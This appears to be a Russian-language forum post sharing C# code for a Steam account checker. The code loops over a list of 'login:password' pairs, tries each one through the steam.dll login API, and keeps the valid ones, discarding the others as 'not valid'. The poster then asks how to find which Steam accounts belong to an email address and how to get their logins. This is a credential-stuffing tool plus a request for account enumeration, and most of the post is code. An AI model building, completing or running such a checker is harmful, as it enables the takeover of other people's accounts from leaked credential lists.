Код: Выделить всё
string[] nowAkk = logpass[i].Split(':');
Steam_API.TSteamError pErrorLogin = new Steam_API.TSteamError();
pErrorLogin = Steam_API.ProcessLogin(nowAkk[0], nowAkk[1]);
if (pErrorLogin.eSteamError == 0)
{
log = logpass[i];
}
else
{
log = "не валид";
}
//Метод для определения валидный или нет
internal static TSteamError ProcessLogin(string UserName, string UserPassword)
{
int iHandle = 0;
TSteamError pError = new TSteamError();
TSteamProgress pProgress = new TSteamProgress();
iHandle = SteamLogin(UserName, UserPassword, 1, ref pError);
while (SteamProcessCall(iHandle, ref pProgress, ref pError) == 0)
{
if (pError.eSteamError == ESteamError.eSteamErrorBadHandle)
{
break;
}
Application.DoEvents();
}
return pError;
}
// Импорт из ДЛЛ
[DllImport("steam.dll")]
public static extern int SteamProcessCall(int handle, ref TSteamProgress pProgress, ref TSteamError pError);
и если не сложно объясните как проверить есть ли на email аккаунты и вернуть Логин на email.